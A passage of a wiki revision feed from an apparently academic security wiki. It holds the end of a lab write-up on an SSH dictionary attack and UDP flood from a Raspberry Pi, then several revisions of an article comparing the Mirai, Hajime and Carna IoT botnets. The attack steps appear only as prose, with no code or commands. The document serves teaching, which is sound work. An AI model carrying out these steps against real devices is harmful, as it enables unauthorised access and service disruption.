   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). The attack occurred, but the server processed the traffic without significant disruption.&lt;br /&gt;
   2. With network throttling applied to the target device. In this scenario, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=16618</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=16618"/>
		<updated>2024-12-03T17:36:19Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] and can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices&amp;lt;ref name=&amp;quot;IoTDevices&amp;quot;&amp;gt;[https://www.researchgate.net/figure/Global-active-IoT-devices-over-the-years-1_fig1_360765945 ResearchGate - Global Active IoT Devices Over the Years]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service ([https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS]) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012 project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=16617</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=16617"/>
		<updated>2024-12-03T15:43:01Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
* [[#Introduction|Introduction]]&lt;br /&gt;
* [[#Mirai|Mirai]]&lt;br /&gt;
* [[#Hajime|Hajime]]&lt;br /&gt;
* [[#Carna|Carna]]&lt;br /&gt;
* [[#Comparison_of_the_Botnets|Comparison of the Botnets]]&lt;br /&gt;
* [[#References|References]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT [[Botnets|botnet]] are networks of IoT devices that have been [[IoT_Malware|infected by malware]] can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. IoT devices are specially  in high demand for those attacks simply by the nature that so many of such devices exist.[[File:IoT_devicesNumber.png|center|thumb|Estimated number of IoT Devices]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai&amp;lt;ref name=&amp;quot;MiraiReference&amp;quot;&amp;gt;https://www.bsi.bund.de/DE/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Mirai.html&amp;lt;/ref&amp;gt; is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service (DDoS) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012 project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale DDoS attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.Which&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:IoT_devicesNumber.png&amp;diff=16616</id>
		<title>File:IoT devicesNumber.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:IoT_devicesNumber.png&amp;diff=16616"/>
		<updated>2024-12-03T15:06:38Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Carna420.jpg&amp;diff=16615</id>
		<title>File:Carna420.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Carna420.jpg&amp;diff=16615"/>
		<updated>2024-12-03T14:56:14Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=16614</id>
		<title>Hajime vs Mirai vs Carna</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Hajime_vs_Mirai_vs_Carna&amp;diff=16614"/>
		<updated>2024-12-03T14:47:29Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: Created page with &amp;quot;== Table of Contents ==  * Introduction * Mirai * Hajime * Carna * Comparison of the Botnets * References  == Introduction ==  IoT botnets are networks of infected IoT devices that can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. In this article, we will examine...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
* [[#Introduction|Introduction]]&lt;br /&gt;
* [[#Mirai|Mirai]]&lt;br /&gt;
* [[#Hajime|Hajime]]&lt;br /&gt;
* [[#Carna|Carna]]&lt;br /&gt;
* [[#Comparison_of_the_Botnets|Comparison of the Botnets]]&lt;br /&gt;
* [[#References|References]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
IoT botnets are networks of infected IoT devices that can be controlled either through a centralized or decentralized approach. These devices are often highly vulnerable because they have weak or default credentials. In this article, we will examine and compare three well-known IoT botnets: Mirai, Hajime, and Carna.&lt;br /&gt;
&lt;br /&gt;
== Mirai ==&lt;br /&gt;
&lt;br /&gt;
Mirai is a botnet that specifically targets IoT devices and uses them for large-scale Distributed Denial of Service (DDoS) attacks. Mirai spreads by scanning the internet for devices that are easy to compromise — typically those that still use default usernames and passwords like &amp;quot;admin:admin&amp;quot; or &amp;quot;root:root&amp;quot;. There are large databases available that contain millions of such credentials, making it easy for attackers to gain access. Mirai consists of three main components: a C&amp;amp;C server, a scanner, and a loader that installs the malware onto vulnerable devices.&lt;br /&gt;
&lt;br /&gt;
== Hajime ==&lt;br /&gt;
&lt;br /&gt;
Hajime differs from Mirai because it uses a peer-to-peer architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012 project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers, but overall, the census was illegal, and the results need to be treated with caution.&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale DDoS attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.Which&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History], [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
</feed>